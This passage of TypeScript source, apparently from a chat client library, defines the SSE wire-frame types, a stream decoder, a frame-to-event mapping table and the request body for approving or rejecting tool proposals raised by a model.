'idle',\n    sendMessage,\n    /** \"Discuss\" affordance for ObjectCard. */\n    discussRef,\n    /** \"Display\" counterpart of `discussRef`. */\n    displayRef,\n    stopMessage,\n    clearMessages,\n    streamingPhase,\n    /** True while the mount-time rebuild from the server transcript runs. */\n    isHydratingHistory,\n    /** Provider key for the lib's `<ModelDisplay>` icon. */\n    currentProvider: latestMeta?.provider ?? null,\n    currentModelLabel: latestMeta?.modelLabel ?? null,\n    currentContextWindowMaxTokens: latestMeta?.contextWindowMaxTokens ?? null,\n    /** Input tokens (known after server's message_start frame; null until). */\n    currentInputTokens: latestMeta?.inputTokens ?? null,\n    /** Output tokens (known only after server's trailing usage frame). */\n    currentOutputTokens: latestMeta?.outputTokens ?? null,\n    /** Cache hit % (read / total-input × 100). null during streaming. */\n    currentCacheHitRatePct: latestMeta?.cacheHitRatePct ?? null,\n    /** Cross-call usage breakdown (Haiku rewriter/classifier/summarizer\n     *  token counts). null until the trailing usage frame lands. */\n    currentUsageBreakdown: latestMeta?.breakdown ?? null,\n    // ─── Dialog management ───────────────────────────────────────────────\n    // With `chatConversationsUrl` the server transcript store IS the dialog\n    // list (shared `useManagedDialogList`); selecting a row re-hydrates through\n    // the history route. WITHOUT it the same hook is inert by construction —\n    // no `fetchDialogs`, so an empty list, false flags and memoized no-op\n    // mutations — which is why only the four genuinely mode-dependent fields\n    // are branched here.\n    dialogs,\n    isDialogsLoading,\n    dialogsError,\n    reloadDialogs,\n    hasMoreDialogs,\n    loadMoreDialogs,\n    renameDialog,\n    archiveDialog,\n    // New chat = `clearMessages` (the server mints on the next send); there is\n    // no create call. Delete is not offered — archive replaces it.\n    startNewDialog: noopStartNewDialog,\n    deleteDialog: noopDeleteDialog,\n    activeDialogId: conversationsApi ? conversationId : null,\n    selectDialog: conversationsApi ? selectDialog : noopSelectDialog,\n    isMessagesLoading: conversationsApi ? isHydratingHistory : false,\n    dialogCapabilities,\n    hasMoreMessages: false,\n    loadMoreMessages: noopAsync,\n    approveRequest: noopApproveRequest,\n    rejectRequest: noopRejectRequest,\n    dialogTokenUsage: null,\n    connectionState: 'connected' as const,\n  };\n}\n","/**\n * The hub's confirm-tool contract — request shape and error envelope.\n *\n * Resolving a Product Guide proposal is a POST to `endpoints.approvalToolUrl`\n * whose response is an ordinary guide stream (a `decision_resolved` frame, then\n * the hub's auto-continuation). Two callers make that call today: the SSE chat\n * adapter, and any host replaying the same route into a different transport's\n * conversation (the product app resolves guide cards inside a NATS Mingo\n * dialog). They MUST send byte-identical bodies — a proposal is single-use, so a\n * caller that drifts on a field name does not degrade, it fails the write — and\n * they must surface the same server copy, because the hub's errors are written\n * for the end user (\"This approval expired — ask again to get a fresh one\").\n *\n * Hence both live here rather than at either call site.\n *\n * Server-safe: no React, no browser APIs.\n */\n\n/** What the user did with the card. */\nexport type ApprovalToolAction = 'approve' | 'reject';\n\n/** Client-side shape of a confirm; `buildConfirmToolBody` renames it to the\n *  wire's own casing so no caller hand-writes `proposal_id`. */\nexport interface ConfirmToolRequest {\n  /** The hub-minted proposal id carried by the card. */\n  proposalId: string;\n  action: ApprovalToolAction;\n  /**\n   * The hub's conversation id, quoted back verbatim. The hub rejects a confirm\n   * without it: a proposal only means something inside the conversation that\n   * minted it.\n   */\n  conversationId: string | null | undefined;\n}\n\n/** Build the confirm-tool request body. The ONE place that knows the wire\n *  spells the id `proposal_id` while everything else is camelCase. */\nexport function buildConfirmToolBody(request: ConfirmToolRequest): Record<string, unknown> {\n  return {\n    proposal_id: request.proposalId,\n    action: request.action,\n    conversationId: request.conversationId,\n  };\n}\n\n/**\n * Pull the user-facing copy out of a failed chat/confirm response.\n *\n * The route-base envelope is `{error, code}`; `error` is written for the end\n * user, so it beats any status-code copy the client could invent. Returns null\n * when the body is not that envelope (HTML error page, empty body, gateway\n * response) — the caller then supplies its own generic line.\n *\n * Consumes the body: call it once, on a response you have already decided is a\n * failure.\n */\nexport async function readServerErrorMessage(response: { json: () => Promise<unknown> }): Promise<string | null> {\n  try {\n    const body = (await response.json()) as { error?: unknown } | null;\n    if (typeof body?.error === 'string' && body.error.length > 0) return body.error;\n  } catch {\n    /* non-JSON error body — the caller falls through to its generic copy */\n  }\n  return null;\n}\n","/**\n * SSE wire-protocol frame shapes — the byte-level contract between the\n * hub's chat stream emitter (`multi-platform-hub/lib/utils/claude-util.ts`)\n * and the lib's SSE decoder (`./decode.ts`).\n *\n * Wire format (custom byte framing, NOT standard SSE `data:` lines):\n *\n *   [JSON frame]\\0 [JSON frame]\\0 …  \\x1E  <raw UTF-8 answer deltas>  \\x1F [JSON usage trailer]\n *\n *   1. LEADING frames — each a JSON object terminated by `\\0`\n *      (FRAME_TERMINATOR). Status, metadata, routing, live thinking\n *      deltas, usage:start, tool approval frames.\n *   2. ONE `\\x1E` byte (END_OF_LEADING) — flips the stream into raw\n *      UTF-8 answer-text mode.\n *   3. `\\x1F` (TRAILER_SENTINEL) + one JSON usage frame running to\n *      stream end (no terminator).\n *\n * Server-safe: no React, no browser APIs beyond TextEncoder/TextDecoder.\n */\n\n// =============================================================================\n// Sentinel constants\n// =============================================================================\n\n/** Terminates every leading JSON frame. */\nexport const FRAME_TERMINATOR = '\\0';\n/** Record Separator — end of leading frames, start of raw answer text. */\nexport const END_OF_LEADING = '\\x1E';\n/** Unit Separator — start of the trailing usage JSON frame. */\nexport const TRAILER_SENTINEL = '\\x1F';\n\n// =============================================================================\n// Routing types (moved verbatim from the hub's `lib/chat/wire-frames.ts`;\n// `RouteComplexity` is lib-local so the lib never imports hub code)\n// =============================================================================\n\n/** Server-side routing complexity tiers. Mirror of the hub's\n *  `lib/constants/ai-models.ts` union — kept as a lib-local literal type\n *  so the wire SSOT has zero hub imports. The DECODER accepts any string\n *  (older/newer servers may ship values outside this union). */\nexport type RouteComplexity = 'trivial' | 'default' | 'complex' | 'deep';\n\n/**\n * Routing decision frame. Emitted once per turn as a LEADING frame\n * (between metadata and the `\\x1E` end-of-leading-frames sentinel) when\n * the server's `decideRoute()` produces a `Route`.\n *\n * Field names use the `routed*` prefix on PURPOSE — the client's\n * catch-all leading-frame branch inspects `meta.model` / `meta.modelLabel`.\n * A bare `model` field on this frame would OVERWRITE the metadata frame's\n * modelLabel and break the <ModelDisplay> badge. The `routed` prefix\n * sidesteps that collision.\n *\n * Older clients that don't recognize `kind: 'routing'` silently drop\n * the frame (the catch-all only matches frames carrying known fields\n * like `sources` / `modelLabel`).\n */\nexport interface RoutingFrame {\n  kind: 'routing';\n  routedComplexity: RouteComplexity;\n  routedModel: string;\n  routedThinkingBudget: number;\n}\n\n/**\n * Optional field on the trailing usage frame's `breakdown`. Surfaces\n * per-route attribution to the admin test console so an operator can\n * see \"this turn ran on Haiku/trivial/$0.0005\" without re-parsing the\n * stream. Additive: clients that ignore unknown keys keep working.\n */\nexport interface RoutedAnswerBreakdown {\n  model: string;\n  complexity: RouteComplexity;\n  thinkingBudget: number;\n}\n\n// =============================================================================\n// Leading frames\n// =============================================================================\n\n/** First frame on every stream — lets the shell render \"Thinking…\"\n *  within ~200ms, before any upstream byte arrives. */\nexport interface StatusThinkingFrame {\n  status: 'thinking';\n}\n\n/** Per-turn metadata frame. The emitter sends `options.metadata`\n *  verbatim. All fields optional — the decoder's catch-all treats ANY\n *  frame that didn't match a `kind` discriminant as metadata-ish. */\nexport interface ChatMetadataFrame {\n  /** Retrieval sources for the source-chip strip. Host-defined row\n   *  shape (`ChatSource` on the adapter side) — opaque at wire level. */\n  sources?: unknown[];\n  /** Raw model id (e.g. 'claude-sonnet-x'). Presence alone triggers the\n   *  client's meta merge; the value itself is not stored. */\n  model?: string;\n  modelLabel?: string;\n  provider?: string;\n  contextWindowMaxTokens?: number;\n  /** Per-message viewport-positioning hint ('top' | 'bottom'). */\n  scrollAnchor?: string;\n  /** SERVER-minted conversation trace id (`chat_conversations.id`),\n   *  echoed on every turn's leading metadata frame. The client never\n   *  generates ids — the first turn of a session goes out id-less, the\n   *  server mints one and echoes it here, and the adapter persists the\n   *  echoed id as its ONLY local state (see\n   *  `chat-conversation-storage.ts` on the consumer side). */\n  conversationId?: string;\n}\n\n/** Live adaptive-thinking delta. WIRE IS ALREADY DELTA (Anthropic\n *  thinking_delta slices) — decoders must NOT diff or re-accumulate. */\nexport interface ThinkingDeltaFrame {\n  kind: 'thinking-delta';\n  text: string;\n}\n\n/** Usage frame emitted as a LEADING frame right after Anthropic's\n *  message_start (stage='start'). */\nexport interface UsageStartFrame {\n  kind: 'usage';\n  stage: 'start';\n  input_tokens: number;\n  cache_read_input_tokens?: number;\n  cache_creation_input_tokens?: number;\n}\n\n/** Model preamble prose written BEFORE a tool_use block — emitted as a\n *  standalone leading frame so it isn't stranded behind the approval\n *  card (the `\\x1E` sentinel is suppressed on tool turns). */\nexport interface TextLeadingFrame {\n  kind: 'text-leading';\n  text: string;\n}\n\n/** Tool invocation failed server-side (proposal persist error,\n *  validation, ownership denial …). */\nexport interface ToolErrorFrame {\n  kind: 'tool_error';\n  toolName?: string;\n  toolUseId?: string;\n  message: string;\n}\n\nexport interface ApprovalRequestField {\n  label: string;\n  value: string;\n}\n\n/** The model called a write tool; the server persisted a proposal and\n *  ships a card-ready payload. Shape mirrors the hub's `onToolUse`\n *  return in `lib/data/doc-chat-utils.ts`. */\nexport interface ApprovalRequestFrame {\n  kind: 'approval_request';\n  proposalId: string;\n  toolName: string;\n  title?: string;\n  fields?: ApprovalRequestField[];\n  preamble?: string | null;\n  args?: Record<string, unknown>;\n  expiresAt?: string;\n  ttlSeconds?: number;\n}\n\n/** A single write-tool turn produced MULTIPLE proposals (batch\n *  operations — \"delete both\", \"close all three\"). The SERVER is the\n *  authority on the grouping: it collects the turn's proposals and\n *  ships ONE batch frame instead of N `approval_request` frames, so\n *  clients render the bulk-approval component without any adjacency\n *  heuristics. Single-proposal turns keep the classic\n *  `approval_request` frame. */\nexport interface ApprovalBatchFrame {\n  kind: 'approval_batch';\n  /** Stable batch anchor — client-side only (locates the batch segment\n   *  for status flips). MUST NOT equal any row's `proposalId`: the\n   *  click-time optimistic status flip keys on this id, and an anchor\n   *  that doubles as a row id would falsely tick that row's execution\n   *  as succeeded before its confirm ran (masking a failed write). The\n   *  server emits `batch:<first proposalId>`. */\n  batchId: string;\n  proposals: Array<{\n    proposalId: string;\n    toolName: string;\n    title?: string;\n    fields?: ApprovalRequestField[];\n    expiresAt?: string;\n    ttlSeconds?: number;\n  }>;\n}\n\n/** Server-driven post-approve / post-reject frame (confirm-tool route).\n *  Mirror of the hub's `DecisionResolvedFrame` in\n *  `lib/data/chat-agent-utils.ts` (tool_name widened to string — the\n *  known-write-tool whitelist is host-side knowledge). */\nexport interface DecisionResolvedFrame {\n  kind: 'decision_resolved';\n  /** The proposal this decision resolved — locates the SOURCE approval\n   *  card so the shell can flip its status + append the receipt. */\n  proposalId: string;\n  ok: boolean;\n  action: 'approved' | 'rejected';\n  tool_name?: string;\n  result?: {\n    ticket_id?: string;\n    status?: string | null;\n    mirror_synced?: boolean;\n  };\n  /** True when the server WILL pipe an auto-continuation turn after\n   *  this frame. */\n  willAutoContinue: boolean;\n  /** Pre-rendered receipt copy from the source strategy's\n   *  `receiptRenderer` — client renders verbatim. */\n  receiptText?: string;\n}\n\n/** Every leading frame the emitter can produce. */\nexport type SseLeadingFrame =\n  | StatusThinkingFrame\n  | ChatMetadataFrame\n  | RoutingFrame\n  | ThinkingDeltaFrame\n  | UsageStartFrame\n  | TextLeadingFrame\n  | ToolErrorFrame\n  | ApprovalRequestFrame\n  | ApprovalBatchFrame\n  | DecisionResolvedFrame;\n\n// =============================================================================\n// Trailing usage frame\n// =============================================================================\n\n/** Card/chip emission counts for admin adoption tooling. */\nexport interface UsageTelemetry {\n  cards: number;\n  chips: number;\n  sentences: number;\n  answerLen: number;\n}\n\n/** Trailing usage frame — `\\x1F` + JSON, runs to stream end (no\n *  terminator). `stage: 'display'` is a legacy alias the decoder treats\n *  identically to `'end'`. */\nexport interface SseTrailingUsageFrame {\n  kind: 'usage';\n  stage: 'end' | 'display';\n  input_tokens?: number;\n  output_tokens?: number;\n  cache_read_input_tokens?: number;\n  cache_creation_input_tokens?: number;\n  hit_rate_pct?: number;\n  telemetry?: UsageTelemetry;\n  /** Cross-call usage breakdown (Haiku rewriter / classifier /\n   *  summarizer + routed-answer attribution). */\n  breakdown?: {\n    haikuRewriter?: { input: number; output: number };\n    haikuClassifier?: { input: number; output: number };\n    haikuSummarizer?: { input: number; output: number };\n    routedAnswer?: RoutedAnswerBreakdown;\n  };\n  /** Gated deep-debug payload (only present when the request carried\n   *  the privileged debug secret). */\n  debug?: Record<string, unknown>;\n}\n","/**\n * Leading-frame → `ChatStreamEvent` table — the ONE mapping both transports read.\n *\n * The SSE decoder (`./decode.ts`) reaches it while walking the hub's byte\n * framing. It lives outside that decoder so a second transport can reuse the\n * table rather than re-implement it and drift the moment the hub adds a frame\n * kind.\n *\n * Server-safe: no React, no browser APIs.\n */\n\nimport type { ChatStreamEvent } from './events';\n\n/**\n * Escape `<` so markdown renderers that pass HTML through (rehypeRaw)\n * don't treat XML-like tokens in Claude's thinking output as elements.\n * `<` → `&lt;` preserves the visible character without breaking\n * blockquote `>` markers. Per-character, so it distributes over\n * concatenation: escape(a + b) === escape(a) + escape(b) — callers may\n * apply it per-delta or on the accumulated string interchangeably.\n */\nexport function escapeThinkingTags(text: string): string {\n  return text.replace(/</g, '&lt;');\n}\n\n/** Wire string field, or `undefined` for anything else. Consumers apply\n *  their own `typeof === 'string' && truthy` gate on top, so dropping a\n *  wrong-typed value here is indistinguishable from passing it through. */\nfunction frameStr(value: unknown): string | undefined {\n  return typeof value === 'string' ? value : undefined;\n}\n\n/** Wire number field, or `undefined` for anything else. Exported because the\n *  SSE decoder's TRAILING usage frame must coerce its token counts through the\n *  same gate this table already applies to the LEADING `usage:start` frame —\n *  two gates would be two contracts for one wire field. */\nexport function frameNum(value: unknown): number | undefined {\n  return typeof value === 'number' ? value : undefined;\n}\n\n/**\n * Map one parsed leading frame to normalized events, replicating the\n * legacy parser's else-if chain ORDER and its exact truthiness/typeof\n * gates. Frames that matched a branch but failed its inner validation\n * (e.g. `routing` without a string `routedComplexity`) produce NO event,\n * exactly like the legacy no-op.\n *\n * Every branch pushes AT MOST ONE event — `guideFrameEvent` relies on that\n * to hand a single event back to `decodeNatsChunk`'s per-chunk contract.\n */\nexport function mapLeadingFrame(meta: Record<string, unknown>, out: ChatStreamEvent[]): void {\n  if (meta.status === 'thinking') {\n    out.push({ type: 'status', phase: 'thinking' });\n  } else if (meta.kind === 'thinking-delta' && typeof meta.text === 'string') {\n    // Wire is ALREADY delta — emit verbatim, append-only contract.\n    out.push({ type: 'thinking-delta', text: meta.text });\n  } else if (meta.kind === 'usage' && meta.stage === 'start') {\n    out.push({\n      type: 'usage',\n      stage: 'start',\n      input_tokens: frameNum(meta.input_tokens),\n      cache_read_input_tokens: frameNum(meta.cache_read_input_tokens),\n      cache_creation_input_tokens: frameNum(meta.cache_creation_input_tokens),\n    });\n  } else if (meta.kind === 'decision_resolved' && typeof meta.action === 'string') {\n    const status = meta.action === 'rejected' ? 'rejected' : 'approved';\n    const toolName = typeof meta.tool_name === 'string' ? meta.tool_name : undefined;\n    const result = meta.result ?? null;\n    out.push({\n      type: 'approval-resolved',\n      status,\n      ok: meta.ok === true,\n      willAutoContinue: meta.willAutoContinue === true,\n      ...(toolName ? { toolName } : {}),\n      ...(result ? { result } : {}),\n      ...(typeof meta.receiptText === 'string' ? { receiptText: meta.receiptText } : {}),\n      requestId: typeof meta.proposalId === 'string' ? meta.proposalId : undefined,\n    });\n  } else if (meta.kind === 'approval_batch' && meta.batchId && Array.isArray(meta.proposals)) {\n    // Server-grouped multi-proposal turn → ONE batch event carrying a\n    // tool-call row per proposal. `toolExecutionRequestId` is the row's\n    // PROPOSAL id (each row resolves through its own per-proposal\n    // confirm); the batch's `requestId` is the stable anchor the shell\n    // uses for status flips. Field rows ride as the row's expandable\n    // args so per-proposal detail stays reachable inside the batch.\n    const toolCalls = meta.proposals\n      .filter((p): p is Record<string, unknown> => typeof p === 'object' && p !== null)\n      .filter(p => typeof p.proposalId === 'string')\n      .map(p => {\n        const rawFields = Array.isArray(p.fields)\n          ? (p.fields as Array<{ label?: string; value?: string }>).filter(f => f && f.label && f.value)\n          : [];\n        // Prefer human-readable identity labels for the row's\n        // disambiguator; opaque-id labels (\"Task\", \"Ticket\") only as\n        // the last-resort first field.\n        const detail = rawFields.find(f => /^(title|subject|name)$/i.test(String(f.label))) ?? rawFields[0];\n        const base = typeof p.title === 'string' && p.title.length > 0 ? p.title : String(p.toolName ?? 'Tool call');\n        return {\n          toolExecutionRequestId: String(p.proposalId),\n          toolName: String(p.toolName ?? 'tool'),\n          toolTitle: detail ? `${base} — ${detail.value}` : base,\n          requiresApproval: true,\n          toolCallArguments:\n            rawFields.length > 0 ? Object.fromEntries(rawFields.map(f => [String(f.label), String(f.value)])) : null,\n        };\n      });\n    if (toolCalls.length > 0) {\n      out.push({\n        type: 'approval-request',\n        requestId: String(meta.batchId),\n        approvalType: 'chat',\n        toolCalls,\n        status: 'pending',\n      });\n    }\n  } else if (meta.kind === 'approval_request' && meta.proposalId) {\n    const proposalId = String(meta.proposalId);\n    const toolName = String(meta.toolName ?? 'tool');\n    const headline = typeof meta.title === 'string' && meta.title.length > 0 ? meta.title : toolName;\n    const rawFields = Array.isArray(meta.fields) ? (meta.fields as Array<{ label?: string; value?: string }>) : [];\n    const fields: Array<{ label: string; value: string }> = [];\n    for (const f of rawFields) {\n      if (!f || !f.label || !f.value) continue;\n      fields.push({ label: f.label, value: f.value });\n    }\n    out.push({\n      type: 'approval-request',\n      requestId: proposalId,\n      approvalType: toolName,\n      command: headline,\n      fields,\n      status: 'pending',\n    });\n  } else if (meta.kind === 'text-leading' && typeof meta.text === 'string') {\n    out.push({ type: 'text-delta', text: meta.text, leading: true });\n  } else if (meta.kind === 'tool_error') {\n    const msg =\n      typeof meta.message === 'string' && meta.message.length > 0\n        ? meta.message\n        : 'Could not complete the requested action right now.';\n    out.push({ type: 'error', title: msg });\n  } else if (meta.kind === 'routing') {\n    if (typeof meta.routedComplexity === 'string') {\n      out.push({\n        type: 'metadata',\n        routing: {\n          routedComplexity: meta.routedComplexity,\n          ...(typeof meta.routedModel === 'string' ? { routedModel: meta.routedModel } : {}),\n          routedThinkingBudget: typeof meta.routedThinkingBudget === 'number' ? meta.routedThinkingBudget : null,\n        },\n      });\n    }\n  } else {\n    // Catch-all metadata-ish frame. Raw values pass through UNVALIDATED\n    // (possibly undefined) so the consumer can replicate the legacy\n    // presence/truthiness gates exactly — including the `model`-presence\n    // trigger whose value is never stored.\n    out.push({\n      type: 'metadata',\n      sources: meta.sources,\n      provider: frameStr(meta.provider),\n      modelLabel: frameStr(meta.modelLabel),\n      modelName: frameStr(meta.model),\n      contextWindowMaxTokens: frameNum(meta.contextWindowMaxTokens),\n      scrollAnchor: meta.scrollAnchor,\n      conversationId: frameStr(meta.conversationId),\n    });\n  }\n}\n","/**\n * SSE wire-protocol decoder — a timer-free synchronous state machine,\n * mechanically extracted from `useSseChatAdapter`'s inline\n * `createDocStreamFn` parser. Byte-for-byte behavior parity with the\n * legacy parser is the contract (the golden fixtures in\n * `src/components/chat/hooks/__tests__/sse-stream-golden.test.ts` pin it\n * through the full hook path), including its quirks:\n *\n *   - A leading `\\0`-terminated block that fails JSON.parse flips the\n *     stream into text mode and the WHOLE buffer (including the `\\0`)\n *     is emitted as answer text (legacy no-frame stream fallback). This\n *     transition is marked `turn-start { implicit: true }`.\n *   - In text mode only `\\x1F` is scanned — literal `\\0` / `\\x1E` bytes\n *     pass through into the answer; the FIRST literal `\\x1F` flips into\n *     trailer mode and everything after is captured as the trailer\n *     (golden fixture (d) characterizes this mis-framing; the fix lives\n *     in `encode.ts`'s sentinel stripping, NOT here).\n *   - The `\\x1E` sentinel and the `\\x1F` trailer can arrive in ONE TCP\n *     chunk (fixed-answer responses) — the post-sentinel slice is\n *     re-scanned for the trailer sentinel.\n *   - Multi-byte UTF-8 across chunk boundaries survives via a single\n *     streaming TextDecoder (`{ stream: true }` on every push; no final\n *     flush — a trailing partial code point is dropped, as legacy did).\n *   - `end()` parses the accumulated trailer (malformed → silently\n *     ignored) and drops any un-terminated leading buffer, as legacy did.\n *     It is IDEMPOTENT (a deliberate deviation from legacy): repeat calls\n *     emit nothing, so an adapter that ends in both its completion path\n *     and its `finally` cannot double-count the usage frame.\n *\n * State flow: leading → (sentinel | parse-failure) → text → (\\x1F) →\n * trailer-accumulate → end().\n *\n * Server-safe: no React, no timers, TextDecoder only.\n */\n\nimport type { ChatStreamEvent } from './events';\nimport type { UsageTelemetry } from './frames';\nimport { FRAME_TERMINATOR, END_OF_LEADING, TRAILER_SENTINEL } from './frames';\n// The frame table lives in its own module so it is reusable outside this\n// decoder. `frameNum` comes from there too: the trailing usage frame's token\n// counts must pass the SAME typeof gate the leading `usage:start` frame's do.\nimport { mapLeadingFrame, frameNum } from './leading-frames';\n\nexport interface SseFrameDecoder {\n  /** Feed raw response bytes; returns the events they produced. */\n  push(bytes: Uint8Array): ChatStreamEvent[];\n  /**\n   * Signal end-of-stream; parses the trailing usage frame if present.\n   * IDEMPOTENT — every call after the first returns `[]`. Adapters\n   * routinely call this from BOTH their completion path and a `finally`,\n   * and a re-emitted `usage`/`stage:'end'` event would double-count token\n   * usage (displayed cost doubles).\n   */\n  end(): ChatStreamEvent[];\n}\n\n// `escapeThinkingTags` moved to `./leading-frames` alongside the frame table,\n// and is re-exported here: consumers have imported it from this module since it\n// was written, and the `chat-protocol` barrel re-exports it from here.\nexport { escapeThinkingTags } from './leading-frames';\n\n/** Narrow a parsed leading frame to something the frame table can read. */\nfunction isFrameObject(value: unknown): value is Record<string, unknown> {\n  return typeof value === 'object' && value !== null;\n}\n\n/**\n * Narrow the trailer's `telemetry` blob to a real {@link UsageTelemetry}.\n *\n * Every field of that interface is a REQUIRED `number`, so a frame carrying a\n * partial blob (or non-numeric counts) is not one — passing it through would\n * hand consumers `undefined` where the type promises a number, the same shape\n * of lie that NaN'd the `breakdown.haiku*` sums. A blob that fails the gate is\n * dropped, matching this decoder's \"malformed trailer → silently ignored\"\n * contract; nothing downstream distinguishes absent from malformed.\n */\nfunction frameTelemetry(value: unknown): UsageTelemetry | undefined {\n  if (!isFrameObject(value)) return undefined;\n  const { cards, chips, sentences, answerLen } = value;\n  if (\n    typeof cards !== 'number' ||\n    typeof chips !== 'number' ||\n    typeof sentences !== 'number' ||\n    typeof answerLen !== 'number'\n  ) {\n    return undefined;\n  }\n  return { cards, chips, sentences, answerLen };\n}\n\nexport function createSseFrameDecoder(): SseFrameDecoder {\n  const textDecoder = new TextDecoder();\n  let buffer = '';\n  let inText = false;\n  let inTrailer = false;\n  let trailerBuffer = '';\n  let ended = false;\n\n  function push(bytes: Uint8Array): ChatStreamEvent[] {\n    const out: ChatStreamEvent[] = [];\n    const chunk = textDecoder.decode(bytes, { stream: true });\n\n    if (!inText) {\n      buffer += chunk;\n      while (!inText) {\n        const recIdx = buffer.indexOf(END_OF_LEADING);\n        const nullIdx = buffer.indexOf(FRAME_TERMINATOR);\n        if (recIdx !== -1 && (nullIdx === -1 || recIdx < nullIdx)) {\n          inText = true;\n          out.push({ type: 'turn-start' });\n          const after = buffer.slice(recIdx + 1);\n          buffer = '';\n          if (after) {\n            // The `after` slice may ALSO contain the `\\x1F` trailing-\n            // usage sentinel — common for fixed-answer responses where\n            // the whole frame sequence arrives in ONE TCP chunk.\n            const unitIdx = after.indexOf(TRAILER_SENTINEL);\n            if (unitIdx === -1) {\n              out.push({ type: 'text-delta', text: after });\n            } else {\n              const textBefore = after.slice(0, unitIdx);\n              const trailerAfter = after.slice(unitIdx + 1);\n              if (textBefore) {\n                out.push({ type: 'text-delta', text: textBefore });\n              }\n              inTrailer = true;\n              trailerBuffer = trailerAfter;\n            }\n          }\n          break;\n        }\n        if (nullIdx === -1) break; // need more bytes\n        const metaStr = buffer.slice(0, nullIdx);\n        const remaining = buffer.slice(nullIdx + 1);\n        let meta: unknown;\n        try {\n          meta = JSON.parse(metaStr);\n        } catch {\n          // Not JSON — start of answer body. The WHOLE buffer (including\n          // the `\\0`) becomes answer text; `implicit` tells consumers\n          // this was the fallback path, not the `\\x1E` sentinel.\n          inText = true;\n          out.push({ type: 'turn-start', implicit: true });\n          if (buffer.length > 0) {\n            out.push({ type: 'text-delta', text: buffer });\n            buffer = '';\n          }\n          break;\n        }\n        // A JSON scalar where a frame object was expected has no fields to\n        // read, so it falls through the table's catch-all exactly as an empty\n        // frame does — which is what the old `any` typing produced for every\n        // `meta.<field>` lookup. (`null` used to THROW here instead.)\n        mapLeadingFrame(isFrameObject(meta) ? meta : {}, out);\n        buffer = remaining;\n      }\n    } else if (inTrailer) {\n      trailerBuffer += chunk;\n    } else {\n      // Text mode: only the `\\x1F` trailer sentinel is scanned. The\n      // unconditional emit (even for an empty decode of a partial\n      // multi-byte code point) mirrors the legacy per-chunk yield.\n      const sepIdx = chunk.indexOf(TRAILER_SENTINEL);\n      if (sepIdx === -1) {\n        out.push({ type: 'text-delta', text: chunk });\n      } else {\n        const before = chunk.slice(0, sepIdx);\n        const after = chunk.slice(sepIdx + 1);\n        if (before) out.push({ type: 'text-delta', text: before });\n        inTrailer = true;\n        trailerBuffer = after;\n      }\n    }\n    return out;\n  }\n\n  function end(): ChatStreamEvent[] {\n    // Idempotency guard: a second end() must emit NOTHING. The trailer is\n    // also cleared so no later push()/end() pair can replay it.\n    if (ended) return [];\n    ended = true;\n    const out: ChatStreamEvent[] = [];\n    if (trailerBuffer.length > 0) {\n      const raw = trailerBuffer;\n      trailerBuffer = '';\n      try {\n        // Off the wire this is `unknown`, NOT the frame shape it claims to be.\n        // A JSON scalar (or `null`) reaches the `kind` read below as a non-\n        // object and simply fails the gate — no throw, no event.\n        const meta: unknown = JSON.parse(raw);\n        if (isFrameObject(meta) && meta.kind === 'usage' && (meta.stage === 'end' || meta.stage === 'display')) {\n          // Token counts pass `frameNum`, the SAME gate the leading\n          // `usage:start` frame's counts already pass. Un-gated, a wire value\n          // of the wrong type (a string count from a server that stringifies\n          // big integers) landed in a `number` field and rode straight into\n          // `applySseUsage`'s `event.input_tokens ?? null` — which only\n          // null-checks — and on into the displayed token totals.\n          out.push({\n            type: 'usage',\n            stage: 'end',\n            input_tokens: frameNum(meta.input_tokens),\n            output_tokens: frameNum(meta.output_tokens),\n            cache_read_input_tokens: frameNum(meta.cache_read_input_tokens),\n            cache_creation_input_tokens: frameNum(meta.cache_creation_input_tokens),\n            hit_rate_pct: frameNum(meta.hit_rate_pct),\n            telemetry: frameTelemetry(meta.telemetry),\n            // `breakdown` and `debug` are declared `unknown` on UsageEvent on\n            // purpose — `applySseUsage` re-validates every nested field — so\n            // they pass through raw, exactly as before.\n            breakdown: meta.breakdown,\n            debug: meta.debug,\n          });\n        }\n      } catch {\n        // Malformed trailer — silently ignore (legacy parity).\n      }\n    }\n    return out;\n  }\n\n  return { push, end };\n}\n","/**\n * Normalized chat stream events — the transport-agnostic event union BOTH\n * decoders (SSE byte framing in `./decode.ts`, NATS chunks in\n * `./nats-decoder.ts`) emit. Phase 3 of the chat unification makes the\n * reducer consume these directly; today the SSE adapter maps them back to\n * legacy `MessageSegment` yields.\n *\n * Server-safe: no React, no browser APIs.\n */\n\n// The ask card's option shape is the SEGMENT's shape — the decoder hands the\n// rows straight to the accumulator, so restating them here would be two\n// declarations of one wire contract. Type-only import from a React-free\n// module; `nats-decoder.ts` already depends on the same file for MESSAGE_TYPE.\nimport type { ChatRef } from '../components/chat/chat-ref.types';\nimport type { AskOptionData, ChatSource } from '../components/chat/types/message.types';\n// The wire-frame shapes these events carry through are defined ONCE in\n// `./frames.ts` — reuse them here rather than restating their fields.\nimport type { ApprovalRequestField, DecisionResolvedFrame, UsageTelemetry } from './frames';\n\n/** Optional envelope on every event. `seq` carries the transport's\n *  stream sequence (JetStream `streamSeq` on NATS; unused on SSE). */\ninterface ChatStreamEventBase {\n  seq?: number;\n}\n\n/** Stream entered answer-text mode (SSE: the `\\x1E` sentinel or the\n *  JSON-parse-failure fallback; NATS: MESSAGE_START).\n *  `implicit` is true ONLY for the SSE fallback path where a\n *  non-JSON leading buffer flips straight into text mode — consumers\n *  that flush coalesced thinking on turn-start must SKIP the flush for\n *  implicit starts (legacy adapter parity: the fallback path never\n *  flushed pending thinking before the text). */\nexport interface TurnStartEvent extends ChatStreamEventBase {\n  type: 'turn-start';\n  implicit?: boolean;\n}\n\nexport interface TurnEndEvent extends ChatStreamEventBase {\n  type: 'turn-end';\n}\n\n/** Answer text delta. `leading: true` marks SSE `text-leading` frames\n *  (model preamble prose emitted BEFORE the tool approval card). */\nexport interface TextDeltaEvent extends ChatStreamEventBase {\n  type: 'text-delta';\n  text: string;\n  leading?: boolean;\n}\n\n/** Thinking delta — APPEND-ONLY contract: each event carries the next\n *  verbatim slice; consumers accumulate. Decoders never diff. */\nexport interface ThinkingDeltaEvent extends ChatStreamEventBase {\n  type: 'thinking-delta';\n  text: string;\n}\n\n/** Clarification card (NATS `ASK` chunk) — the assistant asking which reading\n *  of an ambiguous question to answer. NOT a delta: the chunk carries the\n *  finished card, so consumers push it whole instead of coalescing. `text` is\n *  the intro sentence the same chunk rides along with; consumers render it as\n *  ordinary answer text BEFORE the card. NATS-only — the SSE frame grammar has\n *  no ask frame — but it lives in the shared union because the reducer is\n *  transport-agnostic. */\nexport interface AskEvent extends ChatStreamEventBase {\n  type: 'ask';\n  text?: string;\n  question: string;\n  options: AskOptionData[];\n}\n\nexport interface StatusEvent extends 